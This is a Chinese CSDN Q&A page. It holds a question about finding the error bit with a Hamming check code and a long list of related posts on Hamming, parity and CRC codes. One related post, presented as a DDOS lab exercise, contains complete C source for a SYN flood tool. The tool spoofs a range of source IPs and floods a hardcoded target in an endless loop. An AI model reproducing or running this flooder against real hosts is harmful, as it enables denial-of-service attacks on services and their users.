海明校验码判断错误位

用海明校验码判断,此时第三个校验码是1,其他两个(第一第二位)的校验码是0,是不是就是说 原始数据 第四位数错了。 可是,有时候,校验位它异或运算后就是等于1啊!想不懂了。。。

1个回答

m15527097561
顽皮猫喵 谢谢
大约 2 年之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
海明校验码
从看视频到看书,一直都没有明白,到底什么是海明校验码,只是感觉它很麻烦。有一句话说的特别对,难着不会,会者不难。其实,我们越是感觉它难,我们越对它有心里抵触,学习一个新知识,我们不要自己先把它给复杂化了,只要我们用心去学习,就像你认识一个新的朋友,只要你用心与她交流,一切就都不是问题!         下面是我对海明校验码的理解:(以一个例子来讲解)求信息1011的海明码。  1、记公式 首
控制台的8位信息位的海明校验码
初学java 简单的实现 控制台的8位信息位的海明校验码/* 下面实现能检测并能够校正一位错的而且能发现两位错的海明码的编码原理 校验位的位数K和信息位的位数N应满足下列关系式:2^(K) >= N+K+1 下列检验的为8位信息位,校验位为4位 一共1到12位*/ import java.util.*; import java.io.*; import java.math.
数据校验码(奇偶校验码 海明校验码 循环冗余校验码)
数据校验的实现原理:数据校验码是在合法的数据编码之间,加进一些不允许出现的(非法的)编码,使合法的数据编码出现错误时成为非法编码。这样就可以通过检测编码的合法性达到发现错误的目的。
奇偶校验码,海明校验码,CRC校验码
奇偶校验码 海明校验码 CRC校验码奇偶校验码
海明校验码的原理详解
我找到的最好的 海明校验码的原理讲解 分享给大家
海明校验码——如何求解
引言    在学习计算机组成原理的时候接触到了海明校验码,其实这个东西我们在学习专业课的时候接触过类似的东西, 当再次见到的时候比较熟悉,但是有很多的人对这块的知识比较模糊,不是很清楚,在知道信息位的情况下使怎样确 定校验位的?不知道怎样确定最后的海明码?不清楚校验位是怎样就进行校验的?下面小编就从这几方面以一个实例 为基础来讲解一下海明码的相关知识。  
关于海明校验码
我有32位的数据空间,请问怎样使用海明码进行校验?rnrn可以将数据位确定为24位,留出8个校验码,也可以是其他组合。rnrn如果使用24为表示数据,那么可以有2^24=16777216的数据量,是足够的。rnrn不知道32位的数据空间,如何划分数据位和校验位效果最佳?rnrn
海明校验码——软考(二)
我们在寄快递时,会填写一个单子,在填写完成之后自己要进行一下核对,再然后是快递员也要进行核对,这就属于一种校验,这种方式时比较简单的。而计算机系统在运行时,各个部件之间要进行数据交换,为了保证数据在传输过程中的污物,通常使用校验码的方法来检测传送的数据是否出错,常用的的方法奇偶叫研发、海明码和循环冗余校验码。现在主要讨论海明校验码 【定义】 海明码...
海明校验码C源文件
课程设计设计的海明校验码可供实验使用,希望大家能轻松过课程设计
Java 海明校验码
Java仿真海明校验,GUI。计算机组成原理课程设计。
海明校验码详解
什么是海明码(提出者Richard Hamming ) 海明码是一种多重(复式)奇偶检错系统,用于检错和纠错。 如何确定校验码 其实计算海明校验码的值只需三步: 对于原始数据信息位m,计算得出需要的k位校验码如何确定最小的校验位数kk 假设原有信息为mm位,则和校验位加起来长度有m+km+k.校验位数k可以确定 2k2^k 个状态,这些状态中必有一个其所有奇偶测试都是真的,于是
海明校验码的问题
1 2 3 4 5 6 7rnP1 P2 D1 P3 D2 D3 D4rnrnP1 = D1 D2 D4rnP2 = D1 D3 D4rnP3 = D2 D3 D4rnrnData = 1011rnP1 = 0rnP2 = 1rnP3 = 0rnrn正确海明码rn0 1 1 0 0 1 1 rnrn如果收到的数据为rn1 1 0 0 0 1 1 rnrn怎么知道是rn错了两位(P1,D1)错误rn还是一位错误(P2)呢?rn
校验码——揭开海明校验码求解之谜
引言        计算机系统在运行时,各个部件之间要进行数据交换,为了确保数据在传送过程中正确无误,通常使用校验码的方法来检测传送的数据是否出错。合理的设计错误编码以及编码规则,舍得数据在传送中出现某种错误时会变成错误编码,这样就可以检测出接收到的数据是否有错。 校验码        通常是一组数字的最后一位,由前面的数字通过某种运算得出,用以检验该组数字的正确性。常见的校验码有中华人民共
奇偶校验码、海明校验码 和 循环冗余校验码(CRC)
https://blog.csdn.net/u012532559/article/details/45307329
白话——海明校验码及编码过程
学习组原了解到海明校验码,刚开始实在是看不懂,脑子一团浆糊,然后还做到了一道错题更是惨的一批,现在还算是有了一个比较清晰的了解。想着做一个总结过程,希望像我这样的小白能免幸遇难。本文适合对海明校验码不清楚的小白,大神请绕路。有不全面的地方,麻烦大家指正,毕竟我也还只是个大学生,下面直接进入正题。 相信大家肯定之前也肯定看了很多相关知识点,这里不再重复了,就直接上题正面刚了。 例:计算原始信息位...
计算机组成原理学习笔记-海明校验码
说明:可以先看实际举例再回头看其他说明便于快速理解。 一、特点 既可检错也可纠错 二、用途背景 原因:信息传输时因为种种原因会出现部分信息发生改变的情况,即二进制信息的某个别位出现错误的情况。 用途:通过在原信息的特定位置加上海明码的方法,来实现对一串数据位中的某个(注意是“某个”,大多数情况下只会出现一个位出错, 若多位出错则该校验法失效)出错位的纠错(即错误定位和纠正) 二、预备定义和文...
数据校验码(奇偶校验码 海明校验码 循环冗余校验码)下载
数据校验的实现原理:数据校验码是在合法的数据编码之间,加进一些不允许出现的(非法的)编码,使合法的数据编码出现错误时成为非法编码。这样就可以通过检测编码的合法性达到发现错误的目的。
海明校验码的问题,在线等!
码字格式 rnrn从理论上讲,校验位可放在任何位置,但习惯上校验位被安排在1、2、4、8、…的位置上。 rnrn图5列出了m=4,k=3时,信息位和校验位的分布情况。 rnrn码字位置 B1 B2 B3 B4 B5 B6 B7 rn校验位 x x   x       rn信息位     x   x x x rn复合码字 P1 P2 D1 P3 D2 D3 D4 rnrn图5 海明码中校验位和信息位的定位 rnrn校验位的确定 rnrnk个校验位是通过对m+k位复合码字进行奇偶校验而确定的。rnrn其中:P1位负责校验海明码的第1、3、5、7、…(P1、D1、D2、D4、…)位,(包括P1自己)rnrnP2负责校验海明码的第2、3、6、7、…(P2、D1、D3、D4、…)位,(包括P2自己)rnrnP3负责校验海明码的第4、5、6、7、…(P3、D2、D3、D4、…)位,(包括P3自己)rnrn如上面的海明校验码:P1位负责校验海明码的第1、3、5、7、…(P1、D1、D2、D4、…)位,P2负责的是……,P3负责的是……。请问这是根据什么来的呢?
【软考】校检码之海明校验码的求法
通过看软考视频学习了校验码的知识,校验码在百度百科的解释为:通常是一组数字的最后一位,由前面的数字通过     某种运算得出,用以检验该组数字的正确性。常见的校验码有中华人民共和国居民身份证的最后一位、ISBN号码的最后一位、组织机构代码的最后一位、数据传输的正确性验证码等。     通过视频了解到校检码分为奇偶校验码,循环校验码和海明校验码。前面两种还好理解,但是海明校验码看完视
计算机基础之最简单的海明校验码(六)
如果求出效验码? 2k≥m+k+12k≥m+k+1 2^k \geq m+k+1 开头就上公式,虽然不友好,可这个公式是必须要你知道的。m是二进制的长度。 举个栗子 假设有: 0 1 1 0 1 0 1 0 二进制数。我们来数数有多少个哈。 1 2 3 4 5 6 7 8 0 1 1 0 1 ...
求助关于海明校验码的一些细节!
我在自学高程,现在看到关于校验码,遇到了一些问题,想详细了解一下关于海明码和CRC吗的一些细节!rn谢谢大家了!rn
【计算机组成原理】海明校验码(Hamming Code)
在学习计算机组成原理时对海明码不是特别理解,查阅了相关网上的资料也是头昏眼花,大量的字母公式搞得头大,但是为了发扬螺丝钉精神我决定硬着头皮看下去,现在对海明码已经有了一些自己的理解,希望在此用简单的方式记录,方便日后的复习以及帮助对海明码不理解的同学们。 首先我们需要知道一个重要概念,什么是码距? 所谓码距,是指一个编码系统中任意两个合法编码之间至少有多少个二进制位不同。 例如我们现在有一套...
Java 生成校验码及校验码判断
使用java生成校验码,并把校验码的生成与使用放到web项目中,里面有详细的使用说明及源代码
CRC16位校验码
我这有一段C语言写的计算CRC16位校验码的代码,想请大家帮我翻译成Delphi,先谢谢啦!在线等。。。rnunsigned short SD_Cal_CRC16_without_firstbyte(unsigned char msgdata[], unsigned char count)rn// msgdata[]为要发送的命令字符串,其[0]为起始字符‘#’,该字符不参与CRC计算,Count为整个字符串的长度rnrnunsigned short xdata crc ;rnunsigned short xdata tmp1;rnunsigned char xdata tmp2;rnunsigned char i;rnrncrc=0x00;rnfor (i=1; i>8) ^ msgdata[i];rncrc = sd_crc16_table[tmp2];rncrc = crc ^ (tmp1<<8);rnrnreturn(crc); //crc即为生成的16位CRC码rnrn
java CRC16位校验码
最近在开发javaSocket和C的通信,其中有数据校验就是采用CCITT方式,在网上找了好多,都不切合实际使用,经过一个星期的奋斗查资料,再根据网上搜获,写出了一套标准的校验方法,结果和C语言的校验一直,其中考虑了大端小端的问题
计算机组成原理中的海明等校验码有点不懂~~`````
哪位能告之,,,都快到10月了。急啊。。rn或者哪里有计算机组成原理的电子书下?
错误检测之奇偶校验码
一、定义 在数据传输的过程中,可能会产生错误,为了检测出这种错误,一般会在传输的同时包含附加的比特位,用来进行错误的检测。假设传输信息D有d位,在偶校验方案中,会增加一个附加的比特,使得这d+1个比特中1的总数是偶数。 采用单个奇偶校验位的方式,接收方需要计算接收的d+1个比特位中1的数目,这种方式只能检测奇数个比特差错,对于偶数个比特差错则无法检测。 二、二维奇...
DDOS实验校验码错误
最近在学习有关DDOS的网络安全,做DDOS实验。下面的代码是网上找的的,在VC6下编译通过,可以运行。但是不知道为什么在被攻击方用抓包工具老是显示校验码错误。我反复查过好多遍,都没发现问题啊。。求助!!!rn另外,我又找了个C#编的,也是一样提示校验码错误,我还特意修改了程序,再生成校验码后进行验证,值为0,正确无误啊。rn[code=C/C++]rn//附录:Win2000下的SYN Flood程序rn//改编自Linux下Zakath编写的SYN Flooderrn//编译环境:VC++6.0,编译时需要包含ws2_32.librn#include "StdAfx.h"rn#include rn#include rn#include rn#include rn#pragma comment(lib, "ws2_32.lib")rn#define SEQ 0x28376839rnrn#define SYN_DEST_IP "59.77.17.180"//被攻击的IPrn#define FAKE_IP "10.0.3.60" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段rn#define STATUS_FAILED 0xFFFF //错误返回值rnrntypedef struct _iphdr //定义IP首部rnrnrnrnunsigned char h_verlen; //4位首部长度,4位IP版本号rnrnunsigned char tos; //8位服务类型TOSrnrnunsigned short total_len; //16位总长度(字节)rnrnunsigned short ident; //16位标识rnrnunsigned short frag_and_flags; //3位标志位rnrnunsigned char ttl; //8位生存时间 TTLrnrnunsigned char proto; //8位协议 (TCP, UDP 或其他)rnrnunsigned short checksum; //16位IP首部校验和rnrnunsigned int sourceIP; //32位源IP地址rnrnunsigned int destIP; //32位目的IP地址rnrnIP_HEADER;rnrnrnstruct //定义TCP伪首部rnrnrnrnunsigned long saddr; //源地址rnrnunsigned long daddr; //目的地址rnrnchar mbz;rnrnchar ptcl; //协议类型rnrnunsigned short tcpl; //TCP长度rnrnpsd_header;rnrnrntypedef struct _tcphdr //定义TCP首部rnrnrnrnUSHORT th_sport; //16位源端口rnrnUSHORT th_dport; //16位目的端口rnrnunsigned int th_seq; //32位序列号rnrnunsigned int th_ack; //32位确认号rnrnunsigned char th_lenres; //4位首部长度/6位保留字rnrnunsigned char th_flag; //6位标志位rnrnUSHORT th_win; //16位窗口大小rnrnUSHORT th_sum; //16位校验和rnrnUSHORT th_urp; //16位紧急数据偏移量rnrnTCP_HEADER;rnrnrn//CheckSum:计算校验和的子函数rnrnUSHORT checksum(USHORT *buffer, int size)rnrnrnrnunsigned long cksum=0;rnrnwhile(size >1) rnrncksum+=*buffer++;rnrnsize -=sizeof(USHORT);rnrnrnrnif(size ) rnrncksum += *(UCHAR*)buffer;rnrnrnrncksum = (cksum >> 16) + (cksum & 0xffff);rnrncksum += (cksum >>16);rnrnreturn (USHORT)(~cksum);rnrnrnrnrn// SynFlood主函数rnrnint main()rnrnrnrnint datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;rnrnint TimeOut=2000,SendSEQ=0;rnrnchar SendBuf[128]=0;rnrnchar RecvBuf[65535]=0;rnrnWSADATA wsaData;rnrnSOCKET SockRaw=(SOCKET)NULL;rnrnstruct sockaddr_in DestAddr;rnrnIP_HEADER ip_header;rnrnTCP_HEADER tcp_header;rnrn//初始化SOCK_RAWrnrnif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)rnrnfprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);rnrnExitProcess(STATUS_FAILED);rnrnrnrnSockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);rnrnrnif (SockRaw==INVALID_SOCKET)rnrnfprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());rnrnExitProcess(STATUS_FAILED);rnrnrnrnflag=TRUE;rnrn//设置IP_HDRINCL以自己填充IP首部rnrnErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));rn rnrnif (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");rnrn__tryrnrn//设置发送超时rnrnErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));rnrnif(ErrorCode==SOCKET_ERROR)rnrnfprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());rnrn__leave;rnrnrnrnmemset(&DestAddr,0,sizeof(DestAddr));rnrnDestAddr.sin_family=AF_INET;rnrnDestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);rnrnFakeIpNet=inet_addr(FAKE_IP);rnrnFakeIpHost=ntohl(FakeIpNet);rnrn//填充IP首部rnrnip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));rnrn//高四位IP版本号,低四位首部长度rnrnip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)rnrnip_header.ident=1; //16位标识rnrnip_header.frag_and_flags=0; //3位标志位rnrnip_header.ttl=128; //8位生存时间TTLrnrnip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)rnrnip_header.checksum=0; //16位IP首部校验和rnrnip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址rnrnip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址rnrn//填充TCP首部rnrntcp_header.th_sport=htons(4000); //源端口号rnrntcp_header.th_dport=htons(111); //目的端口号rnrntcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号rnrntcp_header.th_ack=0; //ACK序列号置为0rnrntcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位rnrntcp_header.th_flag=2; //SYN 标志rnrntcp_header.th_win=htons(16384); //窗口大小rnrntcp_header.th_urp=0; //偏移rnrntcp_header.th_sum=0; //校验和rnrn//填充TCP伪首部(用于计算校验和,并不真正发送)rnrnpsd_header.saddr=ip_header.sourceIP; //源地址rnrnpsd_header.daddr=ip_header.destIP; //目的地址rnrnpsd_header.mbz=0;rnrnpsd_header.ptcl=IPPROTO_TCP; //协议类型rnrnpsd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度rnrnwhile(1) rnrn//每发送10,240个报文输出一个标示符rnrnprintf(".");rnrnfor(counter=0;counter<10240;counter++)rnrnif(SendSEQ++==65536) SendSEQ=1; //序列号循环rnrn//更改IP首部rnrnip_header.checksum=0; //16位IP首部校验和rnrnip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址rnrn//更改TCP首部rnrntcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号rnrntcp_header.th_sum=0; //校验和rnrn//更改TCP Pseudo Headerrnrnpsd_header.saddr=ip_header.sourceIP;rnrn//计算TCP校验和,计算校验和时需要包括TCP pseudo headerrnrnmemcpy(SendBuf,&psd_header,sizeof(psd_header));rnrnmemcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));rnrntcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));rnrn//计算IP校验和rnrnmemcpy(SendBuf,&ip_header,sizeof(ip_header));rnrnmemcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));rnrnmemset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);rnrndatasize=sizeof(ip_header)+sizeof(tcp_header);rnrnip_header.checksum=checksum((USHORT *)SendBuf,datasize);rnrn//填充发送缓冲区rnrnmemcpy(SendBuf,&ip_header,sizeof(ip_header));rnrn//发送TCP报文rnrnErrorCode=sendto(SockRaw,rnrnSendBuf,rnrndatasize,rnrn0,rnrn(struct sockaddr*) &DestAddr,rnrnsizeof(DestAddr));rnrnif (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());rnrn//End of forrnrn//End of Whilernrn//End of tryrnrn__finally rnrnif (SockRaw != INVALID_SOCKET) closesocket(SockRaw);rnrnWSACleanup();rnrnrnrnreturn 0;rnrn rn[/code]
关于13位条码校验码计算
http://hi.baidu.com/hyqcw/blog/item/bc859718c55e15b94aedbcab.html 将这个公式稍微改一下,就能生成完整的条码了: =B24*10+RIGHT(SUM(LEFT($B24,{0,1}+{1;3;5;7;9;11})*{9,7}))
crc校验 生成2位校验码
这是一段报文rn78780d0103534190334297260001b2010d0arn7878 0d 01 0353419033429726 0001 b201rn------- ---- ---- ----------------------------- ------ -------rn起始位 长度 协议 信息内容 序列号 crc校检验rnrn都是16进制的,我想问问找个crc的检验是怎么弄出来了,怎么就2位阿?rnrn谢谢大家了
求13位ISBN校验码的算法
EAN•UCCrn前缀 组区号 出版者号 出版序号 校验码rn1、取ISBN前12位rn数字rn 9 7 8 7 5 0 6 4 2 5 9 5 ?rn2、取各位数字所rn对应的加权值 rn 1 3 1 3 1 3 1 3 1 3 1 3 rn3、将各位数字与rn其相对应的加权值依次相乘 rn 9 21 8 21 5 0 6 12 2 15 9 15 rn4、将乘积相加,rn得出和数 123rn5、用和数除以模数10,得出余数 123÷10=12……3rn6、模数10减余数,所得差即为校验码 10-3=7rn7、将所得校验码放在构成中国标准书号的基本数字的末端 978-7-5064-2595-7rn8、如果步骤5所得余数为0,则校验码为0。rnrn求各位老师给写一个算法,非常感谢。rn
海明纠错码
一个重要的不等式 海明纠错码允许最多一位出错并用数个不同带有不同参数的异或函数的出错组合,来唯一标识出错的位号。这是我认为海明纠错码的核心原理。4个异或函数组成424^2不同的情况。能够标识16个数据位,当然,没必要用到所有的组合,选取若干满足需求就可以了。 一个n位码字通常包含m位数据位和r位检验位。每个有效码字(n位01组合是有含义的)对应与其海明距离为1的n种编码。m位数据位可组成2m2
校验码
海明码,循环冗余码(CRC)校验的原理是怎样的?rn 请高手指点,多谢!rn如有结果请发:szdft@163.net
校验码之奇偶校验码
校验码之奇偶校验码 在计算机系统中各部件需要进行数据交换,为了确保数据在传送过程中正确无误,我们需要使用校验码来测试数据是否出错。 校验的基本思想:将编码分为合法编码和错误编码。合理的设计编码规则使数据在传送过程中出现某种错误就会变成错误编码。 码距:是指一个编码系统中任意两个合法编码之间至少有多少个二进制位不同。 例如4位8421就是码距为1 有人会问为什么4位8421码的码距为1呢?
【校验码】数据校验码
计算机系统在进行数据的传输和存储时,难免会发生错误。为了避免这种错误,一方面是从硬件的方面着手,提高硬件的抗干扰能力和可靠性;而另一方面在数据编码上采取编码纠码的措施,使得机器能够自己发现错误甚至纠正错误,我们把这种具有检测错误或带有自动纠错能力的数据编码称为数据校验码。其原理是在数据中加入一些校验位,组成数据校验码,通过检查数据校验码的合法性来判断是否出错或进行纠错。常用的数据校验码有奇偶校验码
海明编码 c编码
用c语言写的海明编码及解码,同时含有出错校验。
海明校验程序
#include &quot;stdafx.h&quot; #include &amp;lt;windows.h&amp;gt; #include &amp;lt;windowsx.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &quot;resource.h&quot; #include &quot;MainDlg.h&quot; /*******************************************************..
判断是否位数字
我有一个字段是varchar类型.rn我现在想要取出所有该字段为0-9组成的的记录,删除不是0-9组成的记录.
关于位判断的问题
代码写了很久,测试时没发现问题,实际运行中发现没有动作,经过摸索与尝试,发现如下规律: 例(VB.NET):         Dim a As Integer = 4112     ‘对应二进制为 1000000010000         If ((2 ^ (4))).ToString And a = (2 ^ (4)).ToString Then             MsgBox(
校验码学习,详细的校验码学习
校验码学习,详细的校验码学习校验码学习,详细的校验码学习
相关热词 c# login 居中 c# 考试软件 c# 自然语言分析 c# 分段读取文件 c# 泛型反射 c#打断点 c# 时间转多少秒 c# 线程函数加参数 c# modbus 读取 c#查询集合表